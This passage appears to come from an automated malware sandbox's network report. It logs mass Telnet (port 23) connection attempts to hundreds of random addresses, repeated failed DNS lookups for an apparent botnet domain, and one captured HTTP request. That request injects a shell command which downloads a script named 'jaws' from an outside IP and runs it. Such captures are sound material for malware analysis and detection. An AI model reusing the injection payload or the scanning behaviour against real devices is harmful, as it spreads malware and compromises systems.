Jan 30, 2025 10:43:08.945254087 CET	63367	23	192.168.2.14	129.123.24.37
Jan 30, 2025 10:43:08.945262909 CET	63367	23	192.168.2.14	73.75.142.24
Jan 30, 2025 10:43:08.945271015 CET	63367	23	192.168.2.14	169.101.7.46
Jan 30, 2025 10:43:08.945276022 CET	63367	23	192.168.2.14	103.15.208.178
Jan 30, 2025 10:43:08.945276022 CET	63367	23	192.168.2.14	128.36.123.240
Jan 30, 2025 10:43:08.945283890 CET	63367	23	192.168.2.14	5.40.65.3
Jan 30, 2025 10:43:08.945291996 CET	63367	23	192.168.2.14	221.173.74.238
Jan 30, 2025 10:43:08.945295095 CET	63367	23	192.168.2.14	92.79.151.49
Jan 30, 2025 10:43:08.945307016 CET	63367	23	192.168.2.14	93.102.195.190
Jan 30, 2025 10:43:08.945307016 CET	63367	23	192.168.2.14	202.86.211.7
Jan 30, 2025 10:43:08.945317030 CET	63367	23	192.168.2.14	80.148.122.49
Jan 30, 2025 10:43:08.945321083 CET	63367	23	192.168.2.14	124.122.174.171
Jan 30, 2025 10:43:08.945321083 CET	63367	23	192.168.2.14	151.133.150.173
Jan 30, 2025 10:43:08.945343971 CET	63367	23	192.168.2.14	161.183.60.254
Jan 30, 2025 10:43:08.945343971 CET	63367	23	192.168.2.14	53.201.38.245
Jan 30, 2025 10:43:08.945347071 CET	63367	23	192.168.2.14	162.231.17.8
Jan 30, 2025 10:43:08.945363045 CET	63367	23	192.168.2.14	149.52.89.226
Jan 30, 2025 10:43:08.945367098 CET	63367	23	192.168.2.14	67.200.128.153
Jan 30, 2025 10:43:08.945372105 CET	63367	23	192.168.2.14	104.103.114.81
Jan 30, 2025 10:43:08.945383072 CET	63367	23	192.168.2.14	216.4.137.148
Jan 30, 2025 10:43:08.945384979 CET	63367	23	192.168.2.14	223.36.14.124
Jan 30, 2025 10:43:08.945389986 CET	63367	23	192.168.2.14	117.224.200.44
Jan 30, 2025 10:43:08.945400000 CET	63367	23	192.168.2.14	78.91.254.181
Jan 30, 2025 10:43:08.945405006 CET	63367	23	192.168.2.14	84.246.120.151
Jan 30, 2025 10:43:08.945414066 CET	63367	23	192.168.2.14	123.186.125.208
Jan 30, 2025 10:43:08.945426941 CET	63367	23	192.168.2.14	223.12.18.106
Jan 30, 2025 10:43:08.945426941 CET	63367	23	192.168.2.14	100.250.135.224
Jan 30, 2025 10:43:08.945426941 CET	63367	23	192.168.2.14	98.133.144.24
Jan 30, 2025 10:43:08.945429087 CET	63367	23	192.168.2.14	135.84.87.191
Jan 30, 2025 10:43:08.945429087 CET	63367	23	192.168.2.14	77.132.182.163
Jan 30, 2025 10:43:08.945441961 CET	63367	23	192.168.2.14	131.203.167.71
Jan 30, 2025 10:43:08.945444107 CET	63367	23	192.168.2.14	24.231.229.234
Jan 30, 2025 10:43:08.945451975 CET	63367	23	192.168.2.14	42.175.24.75
Jan 30, 2025 10:43:08.945453882 CET	63367	23	192.168.2.14	145.65.81.73
Jan 30, 2025 10:43:08.945470095 CET	63367	23	192.168.2.14	93.204.6.237
Jan 30, 2025 10:43:08.945470095 CET	63367	23	192.168.2.14	9.87.158.133
Jan 30, 2025 10:43:08.945477009 CET	63367	23	192.168.2.14	85.250.22.119
Jan 30, 2025 10:43:08.945487022 CET	63367	23	192.168.2.14	146.212.91.64
Jan 30, 2025 10:43:08.945497990 CET	63367	23	192.168.2.14	109.237.106.97
Jan 30, 2025 10:43:08.945497990 CET	63367	23	192.168.2.14	27.200.58.159
Jan 30, 2025 10:43:08.945502043 CET	63367	23	192.168.2.14	187.21.203.123
Jan 30, 2025 10:43:08.945511103 CET	63367	23	192.168.2.14	86.227.230.232
Jan 30, 2025 10:43:08.945518017 CET	63367	23	192.168.2.14	130.9.2.111
Jan 30, 2025 10:43:08.945521116 CET	63367	23	192.168.2.14	83.139.112.190
Jan 30, 2025 10:43:08.945527077 CET	63367	23	192.168.2.14	218.58.134.124
Jan 30, 2025 10:43:08.945538044 CET	63367	23	192.168.2.14	43.175.199.38
Jan 30, 2025 10:43:08.945540905 CET	63367	23	192.168.2.14	191.80.157.179
Jan 30, 2025 10:43:08.945549011 CET	63367	23	192.168.2.14	25.115.205.203
Jan 30, 2025 10:43:08.945549965 CET	63367	23	192.168.2.14	185.137.99.41
Jan 30, 2025 10:43:08.945561886 CET	63367	23	192.168.2.14	140.123.105.24
Jan 30, 2025 10:43:08.945569038 CET	63367	23	192.168.2.14	134.224.140.76
Jan 30, 2025 10:43:08.945573092 CET	63367	23	192.168.2.14	220.162.187.67
Jan 30, 2025 10:43:08.945583105 CET	63367	23	192.168.2.14	140.151.72.173
Jan 30, 2025 10:43:08.945588112 CET	63367	23	192.168.2.14	70.70.172.203
Jan 30, 2025 10:43:08.945595026 CET	63367	23	192.168.2.14	196.170.122.250
Jan 30, 2025 10:43:08.945604086 CET	63367	23	192.168.2.14	13.129.117.250
Jan 30, 2025 10:43:08.945605993 CET	63367	23	192.168.2.14	97.40.97.251
Jan 30, 2025 10:43:08.945605993 CET	63367	23	192.168.2.14	217.139.71.236
Jan 30, 2025 10:43:08.945612907 CET	63367	23	192.168.2.14	88.219.246.124
Jan 30, 2025 10:43:08.945617914 CET	63367	23	192.168.2.14	32.228.8.246
Jan 30, 2025 10:43:08.945633888 CET	63367	23	192.168.2.14	113.191.215.108
Jan 30, 2025 10:43:08.945637941 CET	63367	23	192.168.2.14	132.91.82.141
Jan 30, 2025 10:43:08.945637941 CET	63367	23	192.168.2.14	85.175.83.118
Jan 30, 2025 10:43:08.945637941 CET	63367	23	192.168.2.14	47.74.238.1
Jan 30, 2025 10:43:08.945640087 CET	63367	23	192.168.2.14	68.71.87.56
Jan 30, 2025 10:43:08.945652008 CET	63367	23	192.168.2.14	109.13.231.168
Jan 30, 2025 10:43:08.945657015 CET	63367	23	192.168.2.14	183.108.22.69
Jan 30, 2025 10:43:08.945661068 CET	63367	23	192.168.2.14	119.85.126.82
Jan 30, 2025 10:43:08.945664883 CET	63367	23	192.168.2.14	65.26.211.193
Jan 30, 2025 10:43:08.945668936 CET	63367	23	192.168.2.14	66.145.130.191
Jan 30, 2025 10:43:08.945672989 CET	63367	23	192.168.2.14	126.187.116.200
Jan 30, 2025 10:43:08.945672989 CET	63367	23	192.168.2.14	103.196.136.26
Jan 30, 2025 10:43:08.945684910 CET	63367	23	192.168.2.14	222.40.86.215
Jan 30, 2025 10:43:08.945686102 CET	63367	23	192.168.2.14	203.178.184.173
Jan 30, 2025 10:43:08.945702076 CET	63367	23	192.168.2.14	130.155.223.168
Jan 30, 2025 10:43:08.945703030 CET	63367	23	192.168.2.14	104.16.232.38
Jan 30, 2025 10:43:08.945703983 CET	63367	23	192.168.2.14	89.117.249.78
Jan 30, 2025 10:43:08.945715904 CET	63367	23	192.168.2.14	125.177.192.246
Jan 30, 2025 10:43:08.945718050 CET	63367	23	192.168.2.14	134.189.116.155
Jan 30, 2025 10:43:08.945718050 CET	63367	23	192.168.2.14	132.32.136.154
Jan 30, 2025 10:43:08.945720911 CET	63367	23	192.168.2.14	52.193.47.20
Jan 30, 2025 10:43:08.945725918 CET	63367	23	192.168.2.14	48.108.159.254
Jan 30, 2025 10:43:08.945739985 CET	63367	23	192.168.2.14	44.92.4.153
Jan 30, 2025 10:43:08.945739985 CET	63367	23	192.168.2.14	42.254.196.151
Jan 30, 2025 10:43:08.945746899 CET	63367	23	192.168.2.14	34.254.107.66
Jan 30, 2025 10:43:08.945748091 CET	63367	23	192.168.2.14	213.212.73.159
Jan 30, 2025 10:43:08.945755959 CET	63367	23	192.168.2.14	101.18.148.15
Jan 30, 2025 10:43:08.945761919 CET	63367	23	192.168.2.14	199.228.163.147
Jan 30, 2025 10:43:08.945776939 CET	63367	23	192.168.2.14	24.215.81.23
Jan 30, 2025 10:43:08.945777893 CET	63367	23	192.168.2.14	141.224.251.182
Jan 30, 2025 10:43:08.945782900 CET	63367	23	192.168.2.14	78.248.82.187
Jan 30, 2025 10:43:08.945795059 CET	63367	23	192.168.2.14	63.116.172.33
Jan 30, 2025 10:43:08.945797920 CET	63367	23	192.168.2.14	102.174.131.78
Jan 30, 2025 10:43:08.945816040 CET	63367	23	192.168.2.14	197.195.113.156
Jan 30, 2025 10:43:08.945816994 CET	63367	23	192.168.2.14	218.104.31.162
Jan 30, 2025 10:43:08.945816040 CET	63367	23	192.168.2.14	170.14.69.103
Jan 30, 2025 10:43:08.945825100 CET	63367	23	192.168.2.14	213.127.31.153
Jan 30, 2025 10:43:08.945833921 CET	63367	23	192.168.2.14	160.237.125.228
Jan 30, 2025 10:43:08.945837021 CET	63367	23	192.168.2.14	129.113.209.57
Jan 30, 2025 10:43:08.945841074 CET	63367	23	192.168.2.14	157.165.41.82
Jan 30, 2025 10:43:08.945842981 CET	63367	23	192.168.2.14	197.95.124.86
Jan 30, 2025 10:43:08.945854902 CET	63367	23	192.168.2.14	85.203.107.130
Jan 30, 2025 10:43:08.945854902 CET	63367	23	192.168.2.14	53.112.179.79
Jan 30, 2025 10:43:08.945858002 CET	63367	23	192.168.2.14	68.232.128.132
Jan 30, 2025 10:43:08.945862055 CET	63367	23	192.168.2.14	140.104.227.135
Jan 30, 2025 10:43:08.945863962 CET	63367	23	192.168.2.14	140.203.113.49
Jan 30, 2025 10:43:08.945864916 CET	63367	23	192.168.2.14	110.174.112.210
Jan 30, 2025 10:43:08.945868969 CET	63367	23	192.168.2.14	182.212.165.80
Jan 30, 2025 10:43:08.945868969 CET	63367	23	192.168.2.14	109.86.134.136
Jan 30, 2025 10:43:08.945868969 CET	63367	23	192.168.2.14	103.82.64.79
Jan 30, 2025 10:43:08.945873022 CET	63367	23	192.168.2.14	219.4.228.126
Jan 30, 2025 10:43:08.945888042 CET	63367	23	192.168.2.14	95.149.47.192
Jan 30, 2025 10:43:08.945888996 CET	63367	23	192.168.2.14	90.67.242.120
Jan 30, 2025 10:43:08.945899963 CET	63367	23	192.168.2.14	176.3.182.188
Jan 30, 2025 10:43:08.945904016 CET	63367	23	192.168.2.14	170.116.250.2
Jan 30, 2025 10:43:08.945908070 CET	63367	23	192.168.2.14	184.228.123.69
Jan 30, 2025 10:43:08.945915937 CET	63367	23	192.168.2.14	158.99.112.54
Jan 30, 2025 10:43:08.945919037 CET	63367	23	192.168.2.14	115.75.20.148
Jan 30, 2025 10:43:08.945926905 CET	63367	23	192.168.2.14	123.224.253.161
Jan 30, 2025 10:43:08.945926905 CET	63367	23	192.168.2.14	141.164.90.24
Jan 30, 2025 10:43:08.945938110 CET	63367	23	192.168.2.14	46.34.21.98
Jan 30, 2025 10:43:08.945950985 CET	63367	23	192.168.2.14	12.47.93.152
Jan 30, 2025 10:43:08.945950985 CET	63367	23	192.168.2.14	213.250.59.80
Jan 30, 2025 10:43:08.945960045 CET	63367	23	192.168.2.14	95.210.31.0
Jan 30, 2025 10:43:08.945965052 CET	63367	23	192.168.2.14	206.103.73.177
Jan 30, 2025 10:43:08.945977926 CET	63367	23	192.168.2.14	37.61.167.164
Jan 30, 2025 10:43:08.945980072 CET	63367	23	192.168.2.14	158.120.96.154
Jan 30, 2025 10:43:08.945981026 CET	63367	23	192.168.2.14	68.69.91.3
Jan 30, 2025 10:43:08.945990086 CET	63367	23	192.168.2.14	31.226.65.142
Jan 30, 2025 10:43:08.945991993 CET	63367	23	192.168.2.14	14.243.220.218
Jan 30, 2025 10:43:08.945997953 CET	63367	23	192.168.2.14	20.132.39.88
Jan 30, 2025 10:43:08.946011066 CET	63367	23	192.168.2.14	69.113.118.91
Jan 30, 2025 10:43:08.946017027 CET	63367	23	192.168.2.14	160.230.39.243
Jan 30, 2025 10:43:08.946017027 CET	63367	23	192.168.2.14	112.225.46.241
Jan 30, 2025 10:43:08.946022034 CET	63367	23	192.168.2.14	112.235.190.140
Jan 30, 2025 10:43:08.946033955 CET	63367	23	192.168.2.14	201.94.59.188
Jan 30, 2025 10:43:08.946033955 CET	63367	23	192.168.2.14	153.225.231.8
Jan 30, 2025 10:43:08.946033955 CET	63367	23	192.168.2.14	217.77.249.148
Jan 30, 2025 10:43:08.946036100 CET	63367	23	192.168.2.14	86.49.218.172
Jan 30, 2025 10:43:08.946043015 CET	63367	23	192.168.2.14	185.59.65.135
Jan 30, 2025 10:43:08.946047068 CET	63367	23	192.168.2.14	129.91.27.29
Jan 30, 2025 10:43:08.946059942 CET	63367	23	192.168.2.14	175.49.148.177
Jan 30, 2025 10:43:08.946060896 CET	63367	23	192.168.2.14	161.123.195.107
Jan 30, 2025 10:43:08.946062088 CET	63367	23	192.168.2.14	60.30.87.21
Jan 30, 2025 10:43:08.946069956 CET	63367	23	192.168.2.14	197.78.68.214
Jan 30, 2025 10:43:08.946073055 CET	63367	23	192.168.2.14	113.154.48.143
Jan 30, 2025 10:43:08.946074963 CET	63367	23	192.168.2.14	122.70.114.120
Jan 30, 2025 10:43:08.946075916 CET	63367	23	192.168.2.14	178.244.172.190
Jan 30, 2025 10:43:08.946074963 CET	63367	23	192.168.2.14	156.253.204.253
Jan 30, 2025 10:43:08.946075916 CET	63367	23	192.168.2.14	180.247.34.213
Jan 30, 2025 10:43:08.946075916 CET	63367	23	192.168.2.14	63.163.32.146
Jan 30, 2025 10:43:08.946082115 CET	63367	23	192.168.2.14	12.189.59.170
Jan 30, 2025 10:43:08.946084023 CET	63367	23	192.168.2.14	169.52.244.56
Jan 30, 2025 10:43:08.946086884 CET	63367	23	192.168.2.14	96.165.192.6
Jan 30, 2025 10:43:08.946093082 CET	63367	23	192.168.2.14	211.119.237.77
Jan 30, 2025 10:43:08.946099043 CET	63367	23	192.168.2.14	85.119.106.222
Jan 30, 2025 10:43:08.946120977 CET	63367	23	192.168.2.14	195.54.158.137
Jan 30, 2025 10:43:08.946121931 CET	63367	23	192.168.2.14	112.1.121.2
Jan 30, 2025 10:43:08.946121931 CET	63367	23	192.168.2.14	220.21.44.67
Jan 30, 2025 10:43:08.946121931 CET	63367	23	192.168.2.14	50.192.231.38
Jan 30, 2025 10:43:08.946132898 CET	63367	23	192.168.2.14	34.97.133.211
Jan 30, 2025 10:43:08.946135998 CET	63367	23	192.168.2.14	193.150.67.222
Jan 30, 2025 10:43:08.946139097 CET	63367	23	192.168.2.14	40.89.72.251
Jan 30, 2025 10:43:08.946154118 CET	63367	23	192.168.2.14	84.232.33.48
Jan 30, 2025 10:43:08.946155071 CET	63367	23	192.168.2.14	223.186.14.111
Jan 30, 2025 10:43:08.946156025 CET	63367	23	192.168.2.14	65.26.35.22
Jan 30, 2025 10:43:08.946156025 CET	63367	23	192.168.2.14	107.241.115.77
Jan 30, 2025 10:43:08.946172953 CET	63367	23	192.168.2.14	166.5.22.178
Jan 30, 2025 10:43:08.946182013 CET	63367	23	192.168.2.14	216.76.79.108
Jan 30, 2025 10:43:08.946191072 CET	63367	23	192.168.2.14	39.237.11.236
Jan 30, 2025 10:43:08.946192980 CET	63367	23	192.168.2.14	76.254.137.53
Jan 30, 2025 10:43:08.946198940 CET	63367	23	192.168.2.14	149.233.224.255
Jan 30, 2025 10:43:08.946208000 CET	63367	23	192.168.2.14	61.124.61.20
Jan 30, 2025 10:43:08.946208000 CET	63367	23	192.168.2.14	158.88.33.42
Jan 30, 2025 10:43:08.946224928 CET	63367	23	192.168.2.14	137.72.21.95
Jan 30, 2025 10:43:08.946230888 CET	63367	23	192.168.2.14	65.104.129.229
Jan 30, 2025 10:43:08.946230888 CET	63367	23	192.168.2.14	137.151.89.188
Jan 30, 2025 10:43:08.946232080 CET	63367	23	192.168.2.14	44.126.7.239
Jan 30, 2025 10:43:08.946230888 CET	63367	23	192.168.2.14	162.122.232.56
Jan 30, 2025 10:43:08.946234941 CET	63367	23	192.168.2.14	218.136.162.0
Jan 30, 2025 10:43:08.946244001 CET	63367	23	192.168.2.14	58.82.247.42
Jan 30, 2025 10:43:08.946248055 CET	63367	23	192.168.2.14	1.169.193.226
Jan 30, 2025 10:43:08.946248055 CET	63367	23	192.168.2.14	153.3.21.120
Jan 30, 2025 10:43:08.946248055 CET	63367	23	192.168.2.14	182.222.150.169
Jan 30, 2025 10:43:08.946249008 CET	63367	23	192.168.2.14	35.109.60.48
Jan 30, 2025 10:43:08.946249008 CET	63367	23	192.168.2.14	25.101.112.71
Jan 30, 2025 10:43:08.946261883 CET	63367	23	192.168.2.14	39.98.147.165
Jan 30, 2025 10:43:08.946268082 CET	63367	23	192.168.2.14	159.56.83.111
Jan 30, 2025 10:43:08.946273088 CET	63367	23	192.168.2.14	115.150.243.113
Jan 30, 2025 10:43:08.946280956 CET	63367	23	192.168.2.14	141.158.74.82
Jan 30, 2025 10:43:08.946290016 CET	63367	23	192.168.2.14	192.217.162.138
Jan 30, 2025 10:43:08.946295023 CET	63367	23	192.168.2.14	206.42.33.118
Jan 30, 2025 10:43:08.946295023 CET	63367	23	192.168.2.14	137.50.31.241
Jan 30, 2025 10:43:08.946310997 CET	63367	23	192.168.2.14	143.168.80.53
Jan 30, 2025 10:43:08.946319103 CET	63367	23	192.168.2.14	83.228.108.18
Jan 30, 2025 10:43:08.946319103 CET	63367	23	192.168.2.14	75.154.225.147
Jan 30, 2025 10:43:08.946321964 CET	63367	23	192.168.2.14	134.7.124.44
Jan 30, 2025 10:43:08.946332932 CET	63367	23	192.168.2.14	75.238.179.86
Jan 30, 2025 10:43:08.946336031 CET	63367	23	192.168.2.14	220.66.83.5
Jan 30, 2025 10:43:08.946337938 CET	63367	23	192.168.2.14	139.110.250.15
Jan 30, 2025 10:43:08.946341991 CET	63367	23	192.168.2.14	9.168.131.233
Jan 30, 2025 10:43:08.946356058 CET	63367	23	192.168.2.14	173.137.179.57
Jan 30, 2025 10:43:08.946357012 CET	63367	23	192.168.2.14	9.64.175.222
Jan 30, 2025 10:43:08.946357012 CET	63367	23	192.168.2.14	210.41.189.167
Jan 30, 2025 10:43:08.946363926 CET	63367	23	192.168.2.14	65.142.154.218
Jan 30, 2025 10:43:08.946363926 CET	63367	23	192.168.2.14	73.35.235.133
Jan 30, 2025 10:43:08.946363926 CET	63367	23	192.168.2.14	69.34.193.94
Jan 30, 2025 10:43:08.946371078 CET	63367	23	192.168.2.14	20.189.245.140
Jan 30, 2025 10:43:08.946372032 CET	63367	23	192.168.2.14	74.190.215.83
Jan 30, 2025 10:43:08.946383953 CET	63367	23	192.168.2.14	218.169.42.18
Jan 30, 2025 10:43:08.946383953 CET	63367	23	192.168.2.14	88.178.79.221
Jan 30, 2025 10:43:08.946391106 CET	63367	23	192.168.2.14	96.107.118.35
Jan 30, 2025 10:43:08.946393013 CET	63367	23	192.168.2.14	86.77.105.82
Jan 30, 2025 10:43:08.946394920 CET	63367	23	192.168.2.14	210.85.82.210
Jan 30, 2025 10:43:08.946407080 CET	63367	23	192.168.2.14	189.67.224.165
Jan 30, 2025 10:43:08.946408987 CET	63367	23	192.168.2.14	79.67.242.34
Jan 30, 2025 10:43:08.946418047 CET	63367	23	192.168.2.14	122.243.130.131
Jan 30, 2025 10:43:08.946433067 CET	63367	23	192.168.2.14	129.250.245.138
Jan 30, 2025 10:43:08.946439981 CET	63367	23	192.168.2.14	74.209.157.219
Jan 30, 2025 10:43:08.946444035 CET	63367	23	192.168.2.14	198.254.18.173
Jan 30, 2025 10:43:08.946458101 CET	63367	23	192.168.2.14	141.70.235.83

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 30, 2025 10:43:00.074441910 CET	192.168.2.14	8.8.8.8	0x17cb	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:00.141591072 CET	192.168.2.14	8.8.8.8	0x17cb	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:00.165045023 CET	192.168.2.14	8.8.8.8	0x17cb	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:00.690356016 CET	192.168.2.14	8.8.8.8	0x17cb	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:00.715395927 CET	192.168.2.14	8.8.8.8	0x17cb	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:23.115540981 CET	192.168.2.14	8.8.8.8	0x87e4	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:23.132560968 CET	192.168.2.14	8.8.8.8	0x87e4	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:23.148597002 CET	192.168.2.14	8.8.8.8	0x87e4	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:23.172566891 CET	192.168.2.14	8.8.8.8	0x87e4	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:23.188631058 CET	192.168.2.14	8.8.8.8	0x87e4	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:45.728826046 CET	192.168.2.14	8.8.8.8	0xb79b	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:45.753978968 CET	192.168.2.14	8.8.8.8	0xb79b	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:45.769767046 CET	192.168.2.14	8.8.8.8	0xb79b	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:45.784790993 CET	192.168.2.14	8.8.8.8	0xb79b	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:45.800451040 CET	192.168.2.14	8.8.8.8	0xb79b	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:08.698862076 CET	192.168.2.14	8.8.8.8	0x75c5	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:09.220643044 CET	192.168.2.14	8.8.8.8	0x75c5	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:09.240921021 CET	192.168.2.14	8.8.8.8	0x75c5	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:09.257473946 CET	192.168.2.14	8.8.8.8	0x75c5	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:09.267079115 CET	192.168.2.14	8.8.8.8	0x75c5	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:31.684453011 CET	192.168.2.14	8.8.8.8	0x1ec1	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:31.701205015 CET	192.168.2.14	8.8.8.8	0x1ec1	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:31.720185041 CET	192.168.2.14	8.8.8.8	0x1ec1	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:31.736367941 CET	192.168.2.14	8.8.8.8	0x1ec1	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:31.753314972 CET	192.168.2.14	8.8.8.8	0x1ec1	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:54.131824970 CET	192.168.2.14	8.8.8.8	0x8c41	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:54.147491932 CET	192.168.2.14	8.8.8.8	0x8c41	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:54.164453983 CET	192.168.2.14	8.8.8.8	0x8c41	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:54.180079937 CET	192.168.2.14	8.8.8.8	0x8c41	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:59.181668043 CET	192.168.2.14	8.8.8.8	0x8c41	Standard query (0)	bot.nulling.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 30, 2025 10:43:00.097908974 CET	8.8.8.8	192.168.2.14	0x17cb	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:00.155875921 CET	8.8.8.8	192.168.2.14	0x17cb	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:00.689084053 CET	8.8.8.8	192.168.2.14	0x17cb	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:00.714426041 CET	8.8.8.8	192.168.2.14	0x17cb	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:00.739577055 CET	8.8.8.8	192.168.2.14	0x17cb	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:23.131556034 CET	8.8.8.8	192.168.2.14	0x87e4	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:23.147525072 CET	8.8.8.8	192.168.2.14	0x87e4	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:23.171648979 CET	8.8.8.8	192.168.2.14	0x87e4	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:23.187767982 CET	8.8.8.8	192.168.2.14	0x87e4	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:23.347064018 CET	8.8.8.8	192.168.2.14	0x87e4	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:45.752918959 CET	8.8.8.8	192.168.2.14	0xb79b	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:45.768722057 CET	8.8.8.8	192.168.2.14	0xb79b	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:45.783813000 CET	8.8.8.8	192.168.2.14	0xb79b	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:45.799406052 CET	8.8.8.8	192.168.2.14	0xb79b	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:43:46.324493885 CET	8.8.8.8	192.168.2.14	0xb79b	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:09.219544888 CET	8.8.8.8	192.168.2.14	0x75c5	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:09.239938021 CET	8.8.8.8	192.168.2.14	0x75c5	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:09.256617069 CET	8.8.8.8	192.168.2.14	0x75c5	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:09.266272068 CET	8.8.8.8	192.168.2.14	0x75c5	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:09.283278942 CET	8.8.8.8	192.168.2.14	0x75c5	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:31.700403929 CET	8.8.8.8	192.168.2.14	0x1ec1	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:31.719396114 CET	8.8.8.8	192.168.2.14	0x1ec1	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:31.735373974 CET	8.8.8.8	192.168.2.14	0x1ec1	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:31.752465963 CET	8.8.8.8	192.168.2.14	0x1ec1	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:31.766911030 CET	8.8.8.8	192.168.2.14	0x1ec1	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:54.146575928 CET	8.8.8.8	192.168.2.14	0x8c41	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:54.163551092 CET	8.8.8.8	192.168.2.14	0x8c41	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:54.179301977 CET	8.8.8.8	192.168.2.14	0x8c41	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false
Jan 30, 2025 10:44:59.196103096 CET	8.8.8.8	192.168.2.14	0x8c41	Name error (3)	bot.nulling.io	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	54456	73.211.22.163	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.447813988 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.14	57974	133.153.249.33	80

Timestamp	Bytes transferred	Direction	Data
